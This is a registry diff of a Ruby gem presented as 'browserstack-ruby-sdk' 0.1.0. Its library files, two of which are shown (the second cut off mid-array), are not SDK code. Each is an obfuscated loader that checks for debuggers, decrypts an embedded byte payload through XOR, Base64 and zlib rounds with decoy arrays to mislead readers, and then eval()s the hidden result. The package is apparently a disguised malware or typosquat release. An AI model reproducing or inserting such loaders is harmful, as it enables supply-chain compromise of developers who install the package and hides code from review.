browserstack-ruby-sdk 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +7 -0
  3. data/LICENSE.txt +52 -0
  4. data/README.md +115 -0
  5. data/STYLE_GUIDE.md +43 -0
  6. data/exe/browserstack-sdk +8 -0
  7. data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
  8. data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
  9. data/lib/browserstack/browserstack_logger_factory.rb +123 -0
  10. data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
  11. data/lib/browserstack/child_initializer.rb +123 -0
  12. data/lib/browserstack/cli/browserstack_cli.rb +123 -0
  13. data/lib/browserstack/cli/grpc_client.rb +123 -0
  14. data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
  15. data/lib/browserstack/command_executor.rb +123 -0
  16. data/lib/browserstack/config/browserstack_config.rb +123 -0
  17. data/lib/browserstack/constants.rb +123 -0
  18. data/lib/browserstack/eventbus/event.rb +123 -0
  19. data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
  20. data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
  21. data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
  22. data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
  23. data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
  24. data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
  25. data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
  26. data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
  27. data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
  28. data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
  29. data/lib/browserstack/instance/test_framework_instance.rb +123 -0
  30. data/lib/browserstack/instance/tracked_context.rb +123 -0
  31. data/lib/browserstack/instance/tracked_instance.rb +123 -0
  32. data/lib/browserstack/modules/base_module.rb +123 -0
  33. data/lib/browserstack/modules/web_driver_module.rb +123 -0
  34. data/lib/browserstack/monitor/performance.rb +123 -0
  35. data/lib/browserstack/monitor/performance_annotator.rb +123 -0
  36. data/lib/browserstack/monitor/performance_constants.rb +123 -0
  37. data/lib/browserstack/monitor/performance_test.rb +123 -0
  38. data/lib/browserstack/monitor/sdk_integration.rb +123 -0
  39. data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
  40. data/lib/browserstack/patches/cucumber_patches.rb +123 -0
  41. data/lib/browserstack/patches/selenium_patches.rb +123 -0
  42. data/lib/browserstack/runner.rb +123 -0
  43. data/lib/browserstack/utils/api_utility_methods.rb +123 -0
  44. data/lib/browserstack/utils/framework_detector.rb +123 -0
  45. data/lib/browserstack/utils/http_calls.rb +123 -0
  46. data/lib/browserstack/utils/util_method.rb +123 -0
  47. data/lib/browserstack/version.rb +123 -0
  48. data/lib/browserstack_sdk.rb +123 -0
  49. data/proto/browserstack/sdk/v1/sdk.proto +487 -0
  50. data/sample/browserstack_sample.yml +298 -0
  51. metadata +218 -0
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _m6d32fe = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _y1bb592 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _y1bb592) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _f496226 = _m6d32fe.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _ve95c42 = ->(_x447aeb, _pea56ab) do
32
+ _oc8e992 = []
33
+ _x447aeb.each_with_index do |byte, idx|
34
+ _oc8e992 << (byte ^ _pea56ab[idx % _pea56ab.length])
35
+ end
36
+ _oc8e992
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _e581774 = lambda do |_xe9ca72, _x97e9f0, _c795045, _zab125a|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_xe9ca72.pack('C*'))
44
+ if current_hash != _zab125a
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _xe9ca72 = [180, 102, 47, 197, 249, 10, 142, 195, 220, 224, 50, 146, 162, 125, 45, 227, 187, 155, 193, 177, 15, 92, 44, 80, 38, 67, 249, 211, 83, 82, 136, 189, 205, 207, 108, 38, 195, 69, 86, 229, 36, 176, 109, 45, 224, 227, 194, 206, 126, 124, 40, 85, 140, 185, 211, 138, 165, 206, 98, 159, 128, 103, 246, 226, 178, 228, 35, 72, 131, 65, 158, 156, 222, 34, 113, 70, 30, 144, 216, 97, 143, 121, 161, 122, 236, 60, 76, 242, 242, 151, 131, 191, 109, 212, 65, 225, 73, 177, 156, 48, 254, 52, 98, 133, 213, 165, 45, 215, 13, 170, 146, 122, 132, 153, 1, 17, 3, 145, 76, 250, 14, 140, 147, 223, 139, 56, 36, 85, 177, 177, 182, 239, 156, 71, 78, 159, 9, 225, 40, 12, 171, 18, 248, 106, 171, 183, 92, 117, 49, 88, 211, 210, 117, 75, 204, 203, 138, 74, 49, 247, 168, 85, 112, 9, 229, 102, 234, 167, 189, 42, 229, 4, 128, 231, 71, 1, 158, 253, 103, 46, 154, 182, 201, 203, 60, 25, 223, 1, 108, 23, 145, 97, 100, 176, 35, 53, 198, 226, 26, 210, 127, 79, 207, 89, 117, 223, 230, 103, 55, 220, 47, 246, 83, 201, 71, 244, 115, 71, 227, 107, 117, 88, 229, 254, 188, 111, 247, 31, 113, 105, 253, 242, 228, 136, 92, 96, 15, 170, 5, 170, 172, 238, 116, 88, 116, 247, 36, 158, 150, 209, 42, 188, 138, 253, 155, 208, 52, 103, 54, 43, 26, 167, 245, 87, 129, 135, 55, 143, 157, 62, 110, 251, 2, 90, 220, 107, 87, 19, 166, 219, 67, 106, 231, 91, 223, 196, 116, 30, 209, 77, 170, 117, 91, 100, 48, 197, 238, 179, 160, 222, 28, 246, 210, 110, 81, 42, 228, 215, 165, 165, 42, 129, 141, 58, 80, 46, 225, 161, 141, 155, 184, 64, 171, 146, 177, 199, 62, 2, 192, 82, 253, 45, 222, 102, 91, 12, 189, 184, 9, 156, 232, 19, 121, 192, 66, 180, 0, 199, 32, 98, 153, 244, 215, 54, 21, 161, 11, 255, 134, 89, 160, 6, 116, 120, 80, 58, 42, 64, 192, 87, 149, 175, 46, 147, 84, 2, 101, 75, 224, 168, 26, 139, 67, 39, 236, 20, 208, 104, 145, 174, 98, 87, 64, 143, 247, 63, 82, 98, 27, 199, 41, 18, 242, 255, 87, 154, 124, 91, 210, 58, 27, 60, 206, 205, 199, 21, 230, 134, 210, 26, 186, 43, 227, 84, 54, 150, 228, 64, 169, 9, 69, 138, 64, 184, 24, 39, 20, 22, 78, 139, 31, 237, 126, 128, 85, 105, 135, 86, 251, 73, 82, 146, 216, 111, 246, 123, 159, 221, 148, 70, 28, 179, 118, 249, 64, 203, 11, 251, 82, 139, 248, 79, 171, 22, 102, 79, 49, 63, 44, 103, 59, 45, 187, 54, 231, 7, 131, 37, 115, 138, 131, 31, 61, 99, 130, 152, 175, 236, 216, 248, 11, 158, 175, 100, 109, 172, 236, 72, 64, 235, 130, 222, 4, 210, 38, 122, 7, 218, 53, 229, 101, 250, 76, 238, 133, 245, 80, 13, 3, 255, 216, 15, 226, 129, 53, 132, 3, 194, 95, 222, 1, 145, 137, 229, 125, 120, 45, 43, 219, 173, 179, 206, 1, 233, 50, 145, 83, 110, 208, 160, 105, 30, 33, 123, 127, 173, 142, 195, 248, 212, 92, 236, 196, 231, 42, 197, 95, 147, 106, 154, 131, 108, 155, 39, 215, 189, 239, 43, 88, 133, 54, 129, 129, 178, 172, 69, 124, 214, 24, 79, 200, 120, 73, 37, 9, 123, 110, 151, 179, 224, 137, 197, 22, 143, 40, 77, 148, 155, 7, 230, 7, 74, 100, 0, 6, 49, 50, 40, 101, 163, 171, 106, 150, 77, 18, 70, 208, 110, 181, 65, 114, 96, 208, 206, 16, 171, 103, 108, 94, 45, 239, 192, 130, 88, 220, 35, 43, 157, 158, 196, 224, 231, 79, 14, 71, 254, 189, 165, 54, 201, 34, 36, 248, 18, 223, 165, 219, 14, 11, 248, 154, 51, 131, 106, 106, 221, 64, 135, 159, 175, 131, 141, 157, 157, 52, 152, 6, 212, 197, 141, 118, 110, 106, 25, 125, 199, 203, 43, 11, 31, 138, 110, 41, 110, 218, 246, 56, 233, 43, 62, 85, 147, 217, 155, 190, 164, 179, 30, 140, 20, 207, 190, 244, 114, 69, 43, 246, 69, 176, 84, 246, 43, 123, 177, 230, 56, 181, 96, 156, 116, 206, 110, 229, 204, 88, 58, 146, 165, 94, 106, 97, 198, 83, 232, 57, 213, 155, 246, 1, 210, 31, 26, 68, 244, 190, 100, 62, 91, 169, 153, 150, 48, 77, 132, 142, 53, 133, 219, 16, 152, 64, 12, 95, 134, 176, 3, 109, 93, 198, 198, 129, 150, 77, 64, 6, 192, 248, 76, 52, 205, 17, 183, 41, 96, 247, 119, 6, 119, 105, 152, 112, 5, 232, 179, 205, 95, 75, 51, 255, 53, 139, 0, 205, 194, 131, 95, 210, 140, 28, 152, 112, 146, 138, 138, 85, 67, 236, 117, 11, 189, 21, 214, 38, 172, 114, 204, 102, 88, 35, 60, 165, 56, 82, 231, 36, 62, 88, 6, 176, 15, 55, 6, 251, 116, 243, 49, 159, 83, 210, 133, 213, 29, 223, 98, 182, 93, 42, 70, 207, 182, 44, 171, 86, 103, 110, 184, 51, 8, 242, 194, 130, 251, 45, 114, 2, 177, 5, 95, 231, 164, 74, 174, 214, 197, 242, 65, 69, 206, 204, 61, 159, 192, 203, 90, 71, 125, 203, 242, 227, 157, 22, 175, 185, 93, 200, 66, 189, 15, 231, 148, 4, 204, 3, 158, 251, 250, 169, 222, 200, 95, 250, 120, 177, 218, 194, 165, 224, 178, 244, 207, 218, 255, 147, 146, 23, 176, 62, 181, 29, 162, 202, 91, 236, 74, 195, 65, 140, 76, 147, 181, 66, 153, 106, 216, 140, 60, 131, 201, 103, 178, 195, 99, 13, 27, 140, 144, 197, 176, 101, 175, 16, 212, 249, 173, 161, 249, 20, 163, 173, 226, 98, 226, 54, 164, 98, 158, 70, 27, 30, 185, 179, 131, 88, 79, 92, 160, 92, 137, 44, 130, 213, 199, 5, 206, 92, 192, 249, 127, 96, 91, 166, 213, 132, 113, 98, 18, 30, 47, 80, 233, 184, 223, 51, 232, 84, 148, 207, 4, 76, 87, 233, 195, 217, 150, 139, 244, 33, 202, 116, 31, 143, 235, 96, 173, 26, 126, 246, 157, 217, 104, 250, 44, 61, 66, 73, 127, 156, 101, 56, 53, 174, 26, 124, 56, 248, 5, 242, 135, 214, 199, 191, 26, 83, 253, 47, 139, 5, 190, 96, 31, 109, 171, 178, 100, 160, 240, 188, 25, 224, 245, 66, 26, 163, 53, 227, 121, 27, 134, 133, 49, 218, 125, 215, 86, 4, 4, 229, 226, 92, 164, 115, 179, 25, 242, 130, 160, 43, 54, 72, 81, 243, 130, 161, 3, 97, 224, 234, 137, 223, 165, 58, 13, 238, 3, 236, 195, 43, 148, 66, 126, 119, 104, 132, 122, 18, 17, 234, 42, 240, 32, 245, 113, 141, 63, 229, 191, 252, 202, 188, 168, 217, 23, 190, 128, 253, 220, 126, 20, 147, 233, 132, 205, 143, 67, 243, 251, 164, 21, 233, 115, 232, 128, 2, 165, 214, 248, 137, 21, 184, 248, 107, 132, 171, 121, 98, 34, 252, 253, 141, 7, 165, 100, 69, 57, 192, 193, 0, 159, 198, 143, 155, 253, 95, 218, 40, 206, 120, 192, 43, 102, 206, 31, 139, 170, 77, 76, 58, 73, 181, 147, 183, 253, 30, 174, 17, 193, 118, 249, 114, 32, 127, 41, 107, 235, 14, 226, 162, 171, 223, 227, 1, 102, 220, 9, 22, 160, 16, 191, 208, 229, 219, 160, 173, 85, 158, 134, 187, 206, 206, 171, 89, 52, 72, 197, 237, 97, 45, 47, 4, 222, 140, 172, 121, 234, 220, 90, 54, 13, 90, 153, 103, 116, 240, 182, 56, 157, 202, 93, 195, 69, 55, 32, 0, 186, 2, 139, 211, 238, 137, 43, 225, 142, 48, 76, 157, 140, 241, 69, 118, 84, 171, 153, 249, 52, 2, 170, 104, 109, 5, 245, 14, 215, 113, 123, 239, 153, 128, 198, 129, 151, 234, 183, 158, 250, 76, 231, 247, 122, 246, 248, 28, 29, 202, 195, 237, 162, 143, 60, 86, 169, 63, 56, 98, 218, 124, 151, 85, 141, 178, 38, 227, 120, 167, 99, 215, 126, 244, 29, 114, 20, 123, 227, 242, 66, 243, 250, 119, 40, 35, 230, 57, 11, 194, 128, 67, 107, 23, 94, 116, 32, 103, 57, 40, 41, 144, 130, 202, 131, 189, 246, 99, 209, 10, 74, 186, 37, 5, 135, 216, 85, 179, 207, 248, 198, 42, 240, 147, 106, 91, 165, 139, 202, 168, 119, 224, 91, 6, 108, 80, 203, 246, 197, 112, 108, 255, 6, 187, 168, 46, 49, 48, 193, 105, 39, 238, 56, 188, 255, 130, 25, 65, 158, 21, 195, 6, 234, 156, 102, 133, 195, 226, 254, 175, 208, 200, 174, 44, 178, 210, 179, 159, 81, 75, 181, 4, 24, 61, 72, 162, 127, 91, 137, 16, 114, 18, 155, 20, 153, 159, 154, 156, 102, 43, 160, 119, 223, 193, 92, 161, 159, 217, 179, 183, 217, 175, 133, 154, 219, 119, 2, 21, 83, 64, 78, 111, 130, 141, 134, 52, 185, 230, 0, 131, 123, 99, 182, 118, 3, 2, 95, 99, 218, 18, 79, 219, 101, 231, 137, 68, 125, 155, 87, 237, 145, 47, 28, 228, 99, 204, 240, 248, 253, 43, 23, 148, 215, 100, 245, 200, 168, 46, 201, 180, 234, 187, 18, 118, 144, 147, 201, 252, 108, 201, 182, 247, 206, 59, 119, 219, 195, 145, 90, 196, 251, 122, 52, 86, 211, 90, 192, 234, 39, 111, 247, 188, 237, 31, 143, 24, 69, 13, 243, 56, 79, 232, 144, 70, 172, 242, 51, 224, 137, 130, 37, 88, 235, 40, 69, 113, 20, 6, 137, 45, 166, 59, 22, 197, 213, 69, 52, 125, 212, 223, 82, 18, 54, 211, 8, 72, 100, 115, 133, 231, 26, 243, 50, 8, 187, 11, 182, 32, 119, 99, 33, 186, 112, 121, 153, 45, 168, 96, 129, 87, 229, 183, 242, 14, 162, 27, 158, 41, 82, 34, 143, 185, 123, 49, 124, 217, 1, 216, 216, 129, 99, 220, 239, 102, 156, 28, 36, 6, 151, 62, 201, 181, 186, 219, 123, 69, 28, 180, 44, 87, 6, 191, 170, 115, 96, 187, 15, 96, 253, 241, 134, 63, 196, 126, 125, 155, 11, 98, 3, 165, 135, 233, 56, 203, 205, 207, 113, 213, 92, 127, 17, 219, 24, 84, 126, 216, 132, 180, 243, 105, 1, 236, 96, 232, 205, 86, 110, 82, 174, 166, 30, 253, 216, 202, 69, 255, 27, 133, 36, 208, 118, 226, 40, 97, 184, 182, 248, 33, 182, 38, 38, 45, 23, 210, 54, 148, 13, 251, 18, 134, 59, 75, 54, 227, 24, 205, 142, 199, 92, 103, 173, 156, 64, 108, 126, 233, 117, 228, 214, 244, 204, 155, 246, 199, 34, 116, 241, 25, 195, 231, 226, 61, 1, 26, 139, 26, 84, 74, 224, 233, 199, 191, 77, 47, 14, 79, 40, 183, 140, 227, 21, 8, 150, 190, 13, 88, 89, 161, 141, 97, 59, 149, 47, 4, 205, 115, 167, 143, 191, 108, 142, 17, 26, 136, 229, 207, 66, 57, 144, 90, 145, 57, 105, 60, 233, 149, 217, 202, 118, 154, 121, 160, 62, 135, 202, 250, 3, 132, 16, 29, 144, 247, 15, 4, 233, 237, 113, 30, 80, 188, 123, 95, 63, 4, 201, 188, 199, 124, 136, 23, 37, 195, 243, 56, 128, 32, 105, 202, 113, 46, 89, 171, 132, 92, 252, 15, 210, 30, 140, 28, 19, 39, 17, 133, 9, 201, 109, 228, 5, 195, 180, 197, 114, 251, 30, 56, 187, 60, 91, 194, 140, 50, 245, 86, 90, 51, 233, 204, 70, 44, 88, 123, 216, 187, 102, 147, 1, 96, 157, 234, 243, 34, 141, 40, 92, 184, 165, 240, 250, 13, 172, 18, 90, 183, 63, 103, 37, 48, 188, 248, 107, 70, 53, 141, 34, 60, 181, 229, 71, 30, 21, 69, 242, 165, 218, 49, 77, 141, 62, 33, 15, 59, 149, 146, 24, 28, 154, 181, 100, 188, 229, 188, 162, 244, 224, 194, 93, 75, 239, 173, 219, 125, 193, 104, 158, 144, 97, 89, 119, 156, 4, 74, 72, 98, 243, 198, 38, 143, 102, 27, 56, 87, 39, 254, 102, 231, 10, 41, 215, 242, 136, 245, 156, 101, 40, 26, 30, 97, 214, 91, 127, 179, 114, 160, 98, 2, 98, 96, 210, 75, 107, 177, 156, 163, 57, 195, 128, 239, 222, 22, 211, 72, 194, 37, 42, 107, 175, 22, 95, 116, 71, 84, 31, 79, 47, 3, 254, 246, 49, 160, 232, 68, 35, 49, 29, 159, 168, 185, 226, 44, 145, 140, 72, 48, 9, 236, 252, 111, 14, 193, 110, 95, 38, 219, 54, 34, 205, 137, 104, 114, 74, 120, 143, 132, 61, 18, 117, 47, 133, 21, 100, 149, 138, 222, 218, 141, 123, 151, 142, 161, 230, 29, 131, 192, 178, 194, 120, 187, 68, 99, 81, 157, 207, 206, 222, 111, 131, 49, 63, 36, 5, 215, 189, 180, 0, 245, 149, 124, 197, 25, 209, 135, 218, 96, 136, 97, 251, 244, 208, 136, 181, 208, 80, 196, 167, 245, 225, 54, 5, 221, 134, 70, 75, 183, 37, 184, 2, 233, 184, 100, 87, 66, 104, 231, 40, 140, 145, 142, 147, 134, 81, 239, 6, 224, 208, 190, 232, 36, 37, 188, 225, 55, 216, 197, 200, 164, 92, 239, 185, 73, 238, 143, 126, 206, 81, 139, 250, 172, 98, 46, 96, 250, 197, 110, 123, 113, 229, 144, 255, 236, 87, 94, 130, 189, 236, 51, 66, 33, 132, 215, 77, 168] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _h5b5bfc = [42, 128, 227, 221, 201, 41, 165, 50, 249, 2, 222, 251, 22, 92, 123, 85, 204, 188, 34, 147]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _x97e9f0 = [0, 1, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _zab125a = '97fe5551271c04e59726111c3dd1d08f1d471427e97e87d5c2c3c8dddd406e3b'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _u8ffb9e = [97, 116, 77, 61, 1, 230, 10, 199, 232, 53, 29, 0, 176, 35, 229, 67, 120, 206, 60, 55, 245, 0, 127, 213, 188, 69, 72, 59, 254, 111, 167, 189, 90, 46, 103, 193, 77, 233, 71, 28, 147, 146, 118, 1, 102, 65, 89, 37, 242, 167, 4, 172, 165, 186, 57, 28, 25, 199, 86, 88, 39, 138, 106, 27, 115, 217, 110, 79, 90, 232, 186, 130, 163, 79, 6, 85, 45, 181, 131, 234, 14, 198, 187, 181, 231, 250, 253, 192, 105, 200, 116, 108, 159, 165, 17, 248, 17, 83, 38, 98, 254, 127, 56, 245, 173, 50, 110, 251]
64
+ _g8551a0 = [250, 73, 26, 55, 123, 162, 7, 77, 148, 84, 250, 98, 64, 8, 218, 127, 118, 146, 11, 28, 228, 239, 19, 108, 57, 67, 204, 3, 67, 72, 60, 89, 226, 8, 46, 112, 136, 148, 224, 140, 60, 207, 102, 131, 83, 94, 113, 112, 101, 225, 219, 15, 221, 226, 102, 58, 239, 190, 250, 87, 226, 122, 242, 56, 204, 233, 52, 217, 165, 236, 86, 105, 128, 121, 86, 216, 183, 103, 46, 52, 84, 251, 105, 94, 19, 22, 103, 28, 72, 164, 150, 80, 20, 20, 70, 131, 206, 63, 153, 223, 242, 163, 62]
65
+ _a5365e9 = [200, 249, 59, 86, 143, 220, 191, 140, 31, 81, 56, 96, 129, 176, 4, 75, 16, 18, 183, 94, 228, 201, 54, 148, 201, 1, 217, 131, 199, 139, 47, 150, 163, 250, 160, 46, 203, 36, 131, 207, 71, 99, 214, 43, 206, 234, 217, 223, 68, 150, 178, 134, 181, 220, 238, 214, 67, 183, 156, 165, 69, 82, 157, 179, 40, 25, 190, 126, 113, 122, 249, 179, 159, 36, 188, 193, 223, 113, 86, 164, 244, 22, 78, 58, 95, 96, 85, 237, 230, 110, 237, 234, 247, 116, 237, 193, 97, 52, 133, 158, 84, 23, 57, 174, 4, 88, 148, 219, 49, 139, 140, 220, 159, 207, 86, 248, 233, 75, 142, 109, 57, 153, 117, 243, 44]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _e581774.call(_xe9ca72, _x97e9f0, _h5b5bfc, _zab125a)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _eafe45a = _xe9ca72.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_hc970ea|
79
+ # Calculate which round we're reversing
80
+ _bcc0c6b = 5 - _hc970ea - 1
81
+
82
+ # Get key for this reverse round
83
+ _nd24cb5 = 4
84
+ _vcf9a51 = _bcc0c6b * _nd24cb5
85
+ _n412072 = _h5b5bfc[_vcf9a51, _nd24cb5]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _x97e9f0[_bcc0c6b] == 1
93
+ _s3a1680 = _eafe45a.pack('C*')
94
+ _s3a1680 = Base64.strict_decode64(_s3a1680)
95
+ _eafe45a = _s3a1680.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _eafe45a = _ve95c42.call(_eafe45a, _n412072)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _s3a1680 = _eafe45a.pack('C*')
103
+ _s3a1680 = Zlib::Inflate.inflate(_s3a1680)
104
+ _eafe45a = _s3a1680.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _j5e01f0 = _eafe45a.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _j5e01f0.strip.empty? || _j5e01f0.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_j5e01f0, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _h9d0f18
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_h9d0f18.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _l4d7a51 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _o808ed8 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _o808ed8) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _d556acb = _l4d7a51.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _yc98b3a = ->(_od1cc1e, _of2d5c9) do
32
+ _w7243cc = []
33
+ _od1cc1e.each_with_index do |byte, idx|
34
+ _w7243cc << (byte ^ _of2d5c9[idx % _of2d5c9.length])
35
+ end
36
+ _w7243cc
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _tceeb36 = lambda do |_j4d241c, _d6a5695, _ta0e1b7, _vab743e|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_j4d241c.pack('C*'))
44
+ if current_hash != _vab743e
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _j4d241c = [128, 210, 206, 31, 254, 116, 54, 140, 188, 210, 190, 242, 225, 42, 2, 174, 35, 10, 124, 230, 219, 43, 251, 209, 74, 85, 188, 41, 68, 213, 15, 199, 247, 125, 33, 167, 40, 210, 101, 180, 148, 229, 7, 168, 206, 91, 231, 4, 150, 86, 74, 199, 178, 166, 226, 239, 207, 71, 53, 248, 86, 133, 208, 47, 160, 95, 67, 23, 218, 158, 236, 104, 235, 192, 151, 89, 36, 46, 75, 118, 121, 17, 180, 104, 32, 82, 159, 214, 107, 232, 112, 90, 6, 91, 126, 168, 23, 157, 56, 54, 142, 237, 183, 86, 143, 137, 215, 171, 67, 191, 24, 53, 89, 120, 245, 216, 130, 96, 241, 249, 17, 37, 124, 44, 90, 90, 95, 79, 200, 50, 94, 32, 227, 86, 212, 96, 92, 204, 9, 51, 221, 26, 254, 254, 101, 80, 174, 4, 43, 31, 208, 171, 137, 122, 98, 10, 105, 189, 136, 97, 32, 102, 19, 173, 52, 224, 96, 255, 56, 132, 255, 175, 180, 231, 146, 246, 114, 228, 88, 69, 98, 236, 132, 29, 210, 190, 34, 187, 121, 92, 31, 51, 212, 91, 48, 84, 75, 203, 9, 29, 97, 29, 111, 41, 24, 214, 146, 131, 250, 14, 51, 97, 138, 105, 197, 217, 215, 185, 224, 44, 135, 14, 59, 121, 192, 82, 128, 49, 65, 240, 107, 19, 103, 159, 23, 224, 186, 178, 178, 135, 38, 95, 81, 151, 128, 133, 202, 191, 62, 231, 131, 107, 164, 22, 154, 141, 208, 181, 213, 137, 160, 232, 132, 61, 119, 83, 197, 73, 185, 2, 219, 25, 247, 40, 18, 50, 94, 25, 59, 85, 94, 134, 237, 12, 172, 75, 115, 201, 156, 229, 127, 100, 127, 194, 24, 41, 160, 130, 28, 241, 93, 251, 10, 27, 237, 42, 34, 51, 228, 179, 227, 234, 31, 202, 122, 254, 24, 8, 115, 37, 109, 173, 198, 49, 171, 143, 181, 79, 80, 243, 78, 233, 53, 249, 44, 198, 152, 54, 33, 26, 160, 136, 34, 192, 251, 132, 201, 27, 28, 112, 233, 192, 154, 150, 184, 1, 47, 54, 90, 234, 194, 46, 21, 95, 65, 154, 255, 47, 150, 68, 185, 28, 145, 158, 83, 163, 199, 66, 25, 19, 43, 197, 134, 83, 100, 62, 25, 182, 100, 29, 244, 70, 57, 165, 80, 177, 63, 232, 155, 201, 217, 158, 198, 140, 246, 88, 164, 214, 239, 200, 255, 18, 161, 102, 98, 16, 10, 220, 199, 21, 133, 157, 109, 91, 178, 44, 95, 219, 229, 32, 20, 41, 49, 220, 99, 91, 120, 2, 194, 174, 119, 60, 208, 55, 31, 44, 30, 221, 152, 41, 107, 31, 239, 155, 87, 234, 202, 157, 67, 118, 2, 166, 240, 127, 199, 244, 223, 141, 222, 104, 16, 155, 24, 131, 95, 183, 128, 31, 80, 100, 199, 220, 193, 210, 3, 215, 62, 253, 73, 148, 181, 106, 80, 133, 88, 13, 60, 1, 64, 185, 53, 98, 110, 214, 148, 124, 172, 108, 130, 9, 86, 182, 17, 27, 174, 87, 147, 18, 146, 137, 93, 65, 69, 134, 39, 72, 157, 174, 24, 110, 62, 70, 220, 111, 117, 248, 112, 252, 56, 162, 34, 102, 247, 13, 36, 98, 25, 27, 157, 188, 242, 195, 27, 213, 167, 41, 211, 162, 30, 88, 189, 98, 206, 157, 121, 229, 18, 34, 114, 43, 116, 192, 156, 49, 252, 207, 175, 203, 252, 184, 106, 239, 250, 206, 142, 135, 159, 232, 213, 53, 92, 239, 212, 183, 202, 42, 184, 213, 90, 83, 99, 213, 174, 64, 219, 86, 163, 130, 254, 1, 153, 113, 0, 84, 128, 75, 155, 45, 215, 61, 30, 243, 198, 255, 17, 13, 192, 35, 76, 226, 197, 141, 156, 80, 19, 25, 130, 188, 178, 50, 36, 36, 64, 168, 18, 226, 227, 224, 45, 157, 98, 134, 87, 10, 98, 124, 213, 102, 135, 95, 81, 204, 13, 43, 237, 27, 176, 131, 123, 241, 132, 216, 24, 126, 255, 132, 135, 140, 38, 226, 192, 76, 76, 204, 166, 192, 246, 110, 157, 87, 141, 64, 119, 51, 62, 190, 54, 163, 148, 148, 254, 132, 251, 222, 179, 227, 164, 165, 176, 127, 150, 24, 122, 51, 94, 168, 113, 84, 233, 134, 48, 228, 183, 207, 224, 87, 49, 30, 223, 158, 250, 187, 44, 240, 90, 209, 190, 140, 74, 198, 93, 52, 208, 23, 238, 99, 204, 52, 26, 52, 82, 43, 237, 104, 128, 138, 10, 214, 226, 144, 3, 157, 143, 195, 67, 5, 156, 181, 210, 19, 108, 208, 198, 197, 12, 63, 